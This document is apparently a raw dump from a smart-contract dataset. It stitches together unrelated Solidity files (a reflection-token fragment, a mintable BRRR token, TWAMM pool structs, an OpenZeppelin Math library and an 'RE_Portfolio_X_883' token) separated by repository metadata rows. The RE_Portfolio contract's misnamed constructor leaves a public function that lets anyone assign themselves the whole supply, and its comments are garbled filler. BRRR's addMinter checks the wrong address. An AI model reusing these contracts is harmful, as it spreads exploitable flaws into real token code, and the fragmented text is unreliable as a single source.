(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _getMaxTxAmount() public view returns(uint256){
return _max_tx_size;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
}
| 254,832 | 13,912 |
4f256f062e48d4a6cf53ccfe4d3925fcc42195639b67c1467f8b30c22283dfcb
| 10,610 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TC/TCxzsXxSFRPQkUhdtpwbKzaKLtqCLbiX3y_BRRR.sol
| 2,750 | 10,558 |
//SourceUnit: brrr.sol
pragma solidity ^0.5.0;
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external;
}
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
function approveAndCall(address _spender, uint256 _value, bytes calldata _extraData) external returns (bool);
function burn(uint256 _value) external returns (bool success);
function burnFrom(address _from, uint256 _value) external returns (bool success);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
event Burn(address indexed from, uint256 value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
uint internal _maxTotalSupply;
constructor (uint newMaxTotalSupply) public {
_maxTotalSupply = newMaxTotalSupply;
}
function totalSupply() public view returns (uint) {
return _maxTotalSupply; //_totalSupply;
}
function currentSupply() public view returns (uint) {
return _totalSupply; //_totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function burn(uint amount) public returns (bool) {
_burn(_msgSender(), amount);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(_balances[_from] >= _value);
require(_value <= _allowances[_from][_msgSender()]);
_balances[_from] -= _value;
_allowances[_from][_msgSender()] -= _value;
_totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
uint newSupply = _totalSupply.add(amount);
if (_maxTotalSupply < newSupply) {
newSupply = _maxTotalSupply;
}
uint emitted = newSupply.sub(_totalSupply);
require(emitted > 0, "ERC20: mint would emit 0 tokens");
_totalSupply = _totalSupply.add(emitted);
_balances[account] = _balances[account].add(emitted);
emit Transfer(address(0), account, emitted);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burn(account, amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library QueryAddress {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
//require(QueryAddress.isContract(token), "SafeERC20: call to non-contract");
// Compiler chokes up here, seems the IERC20 call enforces contract status
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract BRRR is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
//using Address for address;
using SafeMath for uint;
address public governance;
mapping (address => bool) public minters;
mapping (address => uint) public minter_remain;
constructor () public ERC20(450000000000000000000000000000) ERC20Detailed("BRRR", "BRRR", 18) {
governance = msg.sender;
}
function mint(address account, uint amount) public returns (uint) {
require(minters[msg.sender], "!minter");
uint toMint = amount;
if (minter_remain[msg.sender] < toMint) {
toMint = minter_remain[msg.sender];
}
_mint(account, toMint);
minter_remain[msg.sender] = minter_remain[msg.sender].sub(toMint);
return toMint;
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function addMinter(address _minter, uint max_mint) public {
require(msg.sender == governance, "!governance");
require(!minters[msg.sender], "already a minter");
minters[_minter] = true;
minter_remain[_minter] = max_mint;
}
function removeMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = false;
}
}
| 304,363 | 13,913 |
07109c9a963e46aa697a99f5cf4b49f42529299d66d8532e07b822066e9ed251
| 14,491 |
.sol
|
Solidity
| false |
626182602
|
Cron-Finance/v1-twamm
|
58f81326225b81d28573200b4ff920fbbe2369e0
|
contracts/twault/interfaces/Structs.sol
| 3,434 | 13,822 |
// (c) Copyright 2022, Bad Pumpkin Inc. All Rights Reserved
//
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.7.6;
/// @dev Conventions in the methods, variables and constants are as follows:
///
/// Prefixes:
///
/// - In constants, the prefix "Sn", where 1 <= n <= 4, denotes which slot the constant
/// pertains too. There are four storage slots that are bitpacked. For example,
/// "S2_OFFSET_ORACLE_TIMESTAMP" refers to the offset of the oracle timestamp in bit-
/// packed storage slot 2.
///
/// Suffixes:
///
/// - The suffix of a variable name denotes the type contained within the variable.
/// For instance "uint256 _incrementU96" is a 256-bit unsigned container representing
/// the 96-bit value "_increment".
/// In the case of "uint256 _balancerFeeDU1F18", the 256-bit unsigned container is
/// representing a 19 digit decimal value with 18 fractional digits. In this scenario,
/// the D=Decimal, U=Unsigned, F=Fractional.
/// Finally, "uint128 valueU128F64" is a 128-bit container representing a 128-bit value
/// with 64 fractional bits.
///
/// - The suffix of a function name denotes what slot it is proprietary too as a
/// matter of convention. While unchecked at run-time or by the compiler, the naming
/// convention easily aids in understanding what slot a packed value is stored within.
/// For instance the function "unpackFeeShiftS3" unpacks the fee shift from slot 3. If
/// the value of slot 2 were passed to this method, the unpacked value would be
/// incorrect.
//
// Structs Related to Virtual Orders
////////////////////////////////////////////////////////////////////////////////
/// @notice Virtual Order details for a single user's Long-Term (LT) swap. An LT swap from
/// Token0 to Token1 is described as a user selling Token0 to the pool to buy Token1
/// from the pool. Vice-versa if the swap is from Token1 to Token0.
/// @member token0To1 Swap direction, true swapping Token0 for Token1. False otherwise.
/// @member salesRate Amount of token sold to the pool per block for LT swap duration.
/// @member scaledProceedsAtSubmissionU128 The normalized proceeds of the pool for the token
/// being purchased at the block the order is
/// submitted. For example, for an LT swap of Token0
/// for Token1, this value would be the normalized
/// proceeds of Token1 for the pool. The normalized
/// value is also scaled for precision reasons.
/// Min. = 0, Max. = (2**128) - 1
/// @member owner The address issuing the LT swap virtual order; exclusively able to cancel or
/// withdraw the order.
/// @member delegate Is an address that is able to withdraw or cancel the LT swap on behalf
/// of owner account, as long as the recipient specified is the owner
/// account.
/// @member orderExpiry is the block in which this order expires.
struct Order {
bool token0To1;
uint112 salesRate;
uint128 scaledProceedsAtSubmissionU128;
address owner;
address delegate;
uint256 orderExpiry;
}
/// @notice This struct abstracts two order pools representing pooled Long-Term (LT) swaps in
/// each swap direction along with the current proceeds and a mapping of the sales
/// rate of each token at the end of a block. This allows the grouping of swaps in
/// the two swap directions for gas efficient execution when virutal orders are
/// executed. It is an adaptation of the staking algorithm desribed here:
/// @member currentSalesRates stores the current sales rate of both Token0 and Token1 per block
/// as 112-bit numbers packed into the 256-bit container. Token0
/// occupies bits 224 downto 113 and Token1 bits 112 downto 1.
/// @member scaledProceeds stores the normalized, scaled, proceeds of each order pool together as
/// 128-bit numbers packed into the 256-bit container. Scaled proceeds0
/// occupies bits 256 downto 129 and scaled proceeds1 occupies
/// bits 128 downto 1.
/// WARNING: Scaled proceeds0 and scaled proceeds1 described above are
/// not the proceeds of Token0 and Token1 as would be expected, but rather
/// the proceeds of order pool 0 and order pool 1 respectively. This means
/// that scaled proceeds0 is actually the amount of Token1 obtained for
/// users selling Token0 to the pool and vice-versa for proceeds1.
/// @member salesRateEndingPerBlock is a mapping of a block number to the sales rates of Token0
/// and Token1 expiring on that block number for each order pool.
/// The 112-bit sales rates are stored in a single 256-bit slot
/// together for efficiency. The sales rate for Token0 occupies
/// bits 224 downto 113 while the sales rate for Token1 occupies
/// bits 112 townto 1.
///
struct OrderPools {
uint256 currentSalesRates;
uint256 scaledProceeds;
mapping(uint256 => uint256) salesRatesEndingPerBlock;
}
/// @notice This struct contains the order pool data for virtual orders comprising of sales of
/// Token0 for Token1 and vice-versa over multiple blocks. Each order pool is stored
/// herein, tracking the current sales rates and proceeds along with expiring sales
/// rates.
/// This struct also stores the scaled proceeds at each block, allowing an individual
/// user's proceeds to be calculated for a given interval. Each user's order is stored
/// with a mapping to their order id and the most recently executed virtual order block
/// and next order id are also stored herein.
/// @member orderPools is a struct containing the sale rate and proceeds for each of the two
/// order pools along with expiring orders sales rates mapped by block.
/// @member scaledProceedsAtBlock is a mapping of a block number to the normalized, scaled,
/// proceeds of each order pool together as 128-bit numbers packed
/// into the 256-bit container. Scaled proceeds0 occupies
/// bits 256 downto 129 and scaled proceeds1 occupies
/// bits 128 downto 1.
/// WARNING: Scaled proceeds0 and scaled proceeds1 described above are
/// that scaled proceeds0 is actually the amount of Token1 obtained for
/// users selling Token0 to the pool and vice-versa for proceeds1.
/// @dev The values contained in scaledProceedsAtBlock are always increasing and are expected to
/// overflow. Their difference when measured between two blocks, determines the proceeds in a
/// particular time-interval. A user's sales rate multiplying that amount determines the user's
/// maintaining precision). The subtraction of the two points is also expected to underflow.
/// @member orderMap maps a particular order id to information about that order.
///
struct VirtualOrders {
OrderPools orderPools;
mapping(uint256 => uint256) scaledProceedsAtBlock;
mapping(uint256 => Order) orderMap;
uint256 lastVirtualOrderBlock;
uint256 nextOrderId;
}
//
// Structs Related to Other Pool Features
////////////////////////////////////////////////////////////////////////////////
/// @notice The cumulative prices of Token0 and Token1 as of the start of the
/// last executed block (the timestamp of which can be fetched using
/// getOracleTimeStamp).
/// @member token0U256F112 The cumulative price of Token0 measured in amount of
/// Token1 seconds.
/// @member token1U256F112 The cumulative price of Token1 measured in amount of
/// Token0 seconds.
/// @dev These values have 112 fractional bits and are expected to overflow.
/// Behavior is identical to the price oracle introduced in Uniswap V2 with
/// similar limitations and vulnerabilities.
/// @dev The average price over an interval can be obtained by sampling these
/// values and their measurement times (see getOracleTimeStamp) and
/// computing the difference over the given interval.
struct PriceOracle {
uint256 token0U256F112;
uint256 token1U256F112;
}
//
// Structs for Gas Efficiency / Stack Depth Limitations
////////////////////////////////////////////////////////////////////////////////
/// @notice Struct for executing virtual orders across functions efficiently.
/// @member token0ReserveU112 reserves of Token0 in the TWAMM pool.
/// @member token1ReserveU112 reserves of Token1 in the TWAMM pool.
/// @member lpFeeU60 This is the portion of fees to be distributed to Liquidity Providers
/// (LPs) after Balancer's portion is collected. The portioning is based
/// on fractions of 10**18 and the value is computed by subtracting
/// Balancer's portion from 10**18. If Cron-Fi fees are being collected
/// this value is used to compute the fee share, feeShareU60.
/// @member feeShareU60 If Cron-Fi fees are being collected, this amount represents a
/// single share of the fees remaining after Balancer's portion. A
/// single share goes to Cron-Fi and multiples of a single share go
/// to the Liquidity Providers (LPs) based on the fee shift value,
/// feeShiftU3.
/// @member feeShiftU3 If Cron-Fi fees are being collected, this represents the amount of
/// bits shifted to partition fees between Liquidity Providers (LPs)
/// and Cron-Fi. For example, if this is 1, then 2 shares of fees
/// collected after Balancer's portion go to the LPs and 1 share goes
/// to Cron-Fi. If it is 2, then 4 shares go to the LPs and 1 share
/// goes to Cron-Fi.
/// @member orderPool0ProceedsScaling is the amount to scale proceeds of order pool 0 (Long-
/// Term swaps of Token 0 to Token 1) based on the number
/// of decimal places in Token 0.
/// @member orderPool0ProceedsScaling is the amount to scale proceeds of order pool 1 (Long-
/// Term swaps of Token 1 to Token 0) based on the number
/// of decimal places in Token 1.
/// @member token0BalancerFeesU96 Balancer fees collected for Token0-->Token1 swaps.
/// @member token1BalancerFeesU96 Balancer fees collected for Token1-->Token0 swaps.
/// @member token0CronFiFeesU96 Cron-Fi fees collected for Token0-->Token1 Long-Term swaps.
/// @member token1CronFiFeesU96 Cron-Fi fees collected for Token1-->Token0 Long-Term swaps.
/// @member token0OrdersU112 Amount of Token0 sold to the pool in virtual orders.
/// @member token1OrdersU112 Amount of Token1 sold to the pool in virtual orders.
/// @member token0ProceedsU112 Amount of Token0 bought from the pool in virtual orders.
/// @member token1ProceedsU112 Amount of Token1 bought from the pool in virtual orders.
/// @member token0OracleU256F112 The computed increment for the price oracle for Token 0.
/// @member token1OracleU256F112 The computed increment for the price oracle for Token 1.
/// @member oracleTimeStampU32 The oracle time stamp.
///
struct ExecVirtualOrdersMem {
uint256 token0ReserveU112;
uint256 token1ReserveU112;
uint256 lpFeeU60;
uint256 feeShareU60;
uint256 feeShiftU3;
uint256 token0BalancerFeesU96;
uint256 token1BalancerFeesU96;
uint256 token0CronFiFeesU96;
uint256 token1CronFiFeesU96;
uint256 token0OrdersU112;
uint256 token1OrdersU112;
uint256 token0ProceedsU112;
uint256 token1ProceedsU112;
uint256 token0OracleU256F112;
uint256 token1OracleU256F112;
}
/// @notice Struct for executing the virtual order loop efficiently (reduce
/// storage reads/writes). Advantages increase when pool is inactive
/// for longer multiples of the Order Block Interval.
/// @member lastVirtualOrderBlock The ethereum block number before the last virtual orders were
/// executed.
/// @member scaledProceeds0U128 The normalized scaled proceeds of order pool 0 in Token1. For
/// example, for an LT swap of Token0 for Token1, this value
/// would be the normalized proceeds of Token1 for the pool. The
/// normalized value is also scaled for precision reasons.
/// Min. = 0, Max. = (2**128) - 1
/// @member scaledProceeds1U128 The normalized scaled proceeds of order pool 1 in Token0.
/// Min. = 0, Max. = (2**128) - 1
/// @member currentSalesRate0U112 The current sales rate of Token0 per block.
/// Min. = 0, Max. = (2**112) - 1
/// @member currentSalesRate1U112 The current sales rate of Token1 per block.
/// Min. = 0, Max. = (2**112) - 1
///
struct LoopMem {
// Block Numbers:
uint256 lastVirtualOrderBlock;
// Order Pool Items:
uint256 scaledProceeds0U128;
uint256 scaledProceeds1U128;
uint256 currentSalesRate0U112;
uint256 currentSalesRate1U112;
}
| 338,127 | 13,914 |
aed29b6e3419fd7d6f7a3674957852ec47dbdd9ba1a700255327d2b32808e4d3
| 12,506 |
.sol
|
Solidity
| false |
569161133
|
Prominence-Games/arcana-foundry-erc721a
|
6a97737bb26d2b4faa434f7e0dd4104603ffbde9
|
lib/closedsea/lib/openzeppelin-contracts/contracts/utils/math/Math.sol
| 2,418 | 8,615 |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/Math.sol)
pragma solidity ^0.8.0;
library Math {
enum Rounding {
Down, // Toward negative infinity
Up, // Toward infinity
Zero // Toward zero
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a > b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a == 0 ? 0 : (a - 1) / b + 1;
}
function mulDiv(uint256 x,
uint256 y,
uint256 denominator) internal pure returns (uint256 result) {
unchecked {
// 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
// variables such that product = prod1 * 2^256 + prod0.
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(x, y, not(0))
prod0 := mul(x, y)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division.
if (prod1 == 0) {
return prod0 / denominator;
}
// Make sure the result is less than 2^256. Also prevents denominator == 0.
require(denominator > prod1);
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0].
uint256 remainder;
assembly {
// Compute remainder using mulmod.
remainder := mulmod(x, y, denominator)
// Subtract 256 bit number from 512 bit number.
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// See https://cs.stackexchange.com/q/138556/92363.
// Does not overflow because the denominator cannot be zero at this stage in the function.
uint256 twos = denominator & (~denominator + 1);
assembly {
// Divide denominator by twos.
denominator := div(denominator, twos)
// Divide [prod1 prod0] by twos.
prod0 := div(prod0, twos)
// Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
twos := add(div(sub(0, twos), twos), 1)
}
// Shift in bits from prod1 into prod0.
prod0 |= prod1 * twos;
// four bits. That is, denominator * inv = 1 mod 2^4.
uint256 inverse = (3 * denominator) ^ 2;
// in modular arithmetic, doubling the correct bits in each step.
inverse *= 2 - denominator * inverse; // inverse mod 2^8
inverse *= 2 - denominator * inverse; // inverse mod 2^16
inverse *= 2 - denominator * inverse; // inverse mod 2^32
inverse *= 2 - denominator * inverse; // inverse mod 2^64
inverse *= 2 - denominator * inverse; // inverse mod 2^128
inverse *= 2 - denominator * inverse; // inverse mod 2^256
// is no longer required.
result = prod0 * inverse;
return result;
}
}
function mulDiv(uint256 x,
uint256 y,
uint256 denominator,
Rounding rounding) internal pure returns (uint256) {
uint256 result = mulDiv(x, y, denominator);
if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {
result += 1;
}
return result;
}
function sqrt(uint256 a) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
//
// `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.
//
// This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`
// `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`
// `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`
//
uint256 result = 1 << (log2(a) >> 1);
// into the expected uint128 result.
unchecked {
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
return min(result, a / result);
}
}
function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = sqrt(a);
return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);
}
}
function log2(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 128;
}
if (value >> 64 > 0) {
value >>= 64;
result += 64;
}
if (value >> 32 > 0) {
value >>= 32;
result += 32;
}
if (value >> 16 > 0) {
value >>= 16;
result += 16;
}
if (value >> 8 > 0) {
value >>= 8;
result += 8;
}
if (value >> 4 > 0) {
value >>= 4;
result += 4;
}
if (value >> 2 > 0) {
value >>= 2;
result += 2;
}
if (value >> 1 > 0) {
result += 1;
}
}
return result;
}
function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log2(value);
return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);
}
}
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10**64) {
value /= 10**64;
result += 64;
}
if (value >= 10**32) {
value /= 10**32;
result += 32;
}
if (value >= 10**16) {
value /= 10**16;
result += 16;
}
if (value >= 10**8) {
value /= 10**8;
result += 8;
}
if (value >= 10**4) {
value /= 10**4;
result += 4;
}
if (value >= 10**2) {
value /= 10**2;
result += 2;
}
if (value >= 10**1) {
result += 1;
}
}
return result;
}
function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log10(value);
return result + (rounding == Rounding.Up && 10**result < value ? 1 : 0);
}
}
function log256(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 16;
}
if (value >> 64 > 0) {
value >>= 64;
result += 8;
}
if (value >> 32 > 0) {
value >>= 32;
result += 4;
}
if (value >> 16 > 0) {
value >>= 16;
result += 2;
}
if (value >> 8 > 0) {
result += 1;
}
}
return result;
}
function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log256(value);
return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);
}
}
}
| 155,869 | 13,915 |
d9c004f1cc52f0ca1c2d61686c45e5ece4769d73ca922301529d7379402c977a
| 19,025 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x8f18106d17a1349e189524d6199bd9b801955021.sol
| 9,504 | 16,513 |
pragma solidity ^0.4.21 ;
contract RE_Portfolio_X_883 {
mapping (address => uint256) public balanceOf;
string public name = " RE_Portfolio_X_883 " ;
string public symbol = " RE883X " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 1724616534055050000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'mission - Lignes 1 10
//
//
//
//
// [ Nom du portefeuille ; Numro de la ligne ; Nom de la ligne ; Echance ]
// [ Adresse exporte ]
// [ Unit ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_X_metadata_line_1_____European_Reinsurance_Consultants_20250515 >
// < D8v81h27FBSiRtPlNUVdolxTsvg4ncf8r2M34lMwYWEh286X5H0sH4mMd88cC0JA >
// < 1E-018 limites [ 1E-018 ; 35205224,2350521 ] >
// < 0x00000000000000000000000000000000000000000000000000000000D1D6EAAB >
// < RE_Portfolio_X_metadata_line_2_____Everest_National_Insurance_Co_Ap_Ap_20250515 >
// < 7dMdUH7TN5u875a70BvW0rJwCv1zhkdpTrQtH3RUXHd0q9HYKmURM2caVGPy2jjh >
// < 1E-018 limites [ 35205224,2350521 ; 98251222,5673903 ] >
// < 0x00000000000000000000000000000000000000000000000D1D6EAAB2499F79C4 >
// < RE_Portfolio_X_metadata_line_3_____Everest_Re_Group_20250515 >
// < zVF0rYI70D7b0OZ2tojFJGC48T2J60L6hnLWuW71Jgu8jq5Fv9G6mTz6y1kvd44n >
// < 1E-018 limites [ 98251222,5673903 ; 154556676,857003 ] >
// < 0x00000000000000000000000000000000000000000000002499F79C43993AC7D9 >
// < RE_Portfolio_X_metadata_line_4_____Everest_Re_Group_20250515 >
// < rlKfySod6adx9adzH5n5Z6hQA599J1O77VIe50sS73qa4ua3Rdu6qy43vrXl8aa2 >
// < 1E-018 limites [ 154556676,857003 ; 207287970,828712 ] >
// < 0x00000000000000000000000000000000000000000000003993AC7D94D388598E >
// < RE_Portfolio_X_metadata_line_5_____Everest_Re_Group_20250515 >
// < uqVK1eBQilSmY2VV14N9Ms0tum5s45uC02850O18UToO2G7TOjj21N3zO8b25ij5 >
// < 1E-018 limites [ 207287970,828712 ; 220688404,426694 ] >
// < 0x00000000000000000000000000000000000000000000004D388598E52367C9EE >
// < RE_Portfolio_X_metadata_line_6_____Everest_Re_Group_Limited_20250515 >
// < n28srWQSUFTx3r0vWdoIE02pw9w7H8f02OCKNEPWe6BK86x09jobh6UT933Ji61m >
// < 1E-018 limites [ 220688404,426694 ; 294655852,371998 ] >
// < 0x000000000000000000000000000000000000000000000052367C9EE6DC492849 >
// < qob52coqYbYlaI70L3P2k4U5Rr3AGG7e36r2IrtsVXd7342497XUEY6V6821Xh3f >
// < 1E-018 limites [ 294655852,371998 ; 354261799,826067 ] >
// < 0x00000000000000000000000000000000000000000000006DC49284983F909D82 >
// < RE_Portfolio_X_metadata_line_8_____Evergreen_Re_20250515 >
// < VZKXtWFqx1zsJouVbp67WpICU0MAIjHBRW7i2437HM47HjFZ4SliEJ4Z02Hc565N >
// < 1E-018 limites [ 354261799,826067 ; 378253365,098779 ] >
// < 0x000000000000000000000000000000000000000000000083F909D828CE90D6B1 >
// < RE_Portfolio_X_metadata_line_9_____EWI_Re_Intermediaries_and_Consultants_20250515 >
// < bk1WAE4jxce00Cua4l2z9Fib0Xo1NokvEukEQrZ3UmT7VKpfzwDMfsN9vgwuzp70 >
// < 1E-018 limites [ 378253365,098779 ; 456146448,873707 ] >
// < 0x00000000000000000000000000000000000000000000008CE90D6B1A9ED8408B >
// < RE_Portfolio_X_metadata_line_10_____Factory_Mutual_Insurance_Co_Ap_Ap_20250515 >
// < LeCPC7IVqW6ivvM23iYzV800fXES92fdV5Ro5Ry2h28r7j0pyWCZ8b3vI7F5HfjV >
// < 1E-018 limites [ 456146448,873707 ; 471398070,734583 ] >
// < 0x0000000000000000000000000000000000000000000000A9ED8408BAF9C06155 >
// Programme d'mission - Lignes 11 20
//
//
//
//
// [ Nom du portefeuille ; Numro de la ligne ; Nom de la ligne ; Echance ]
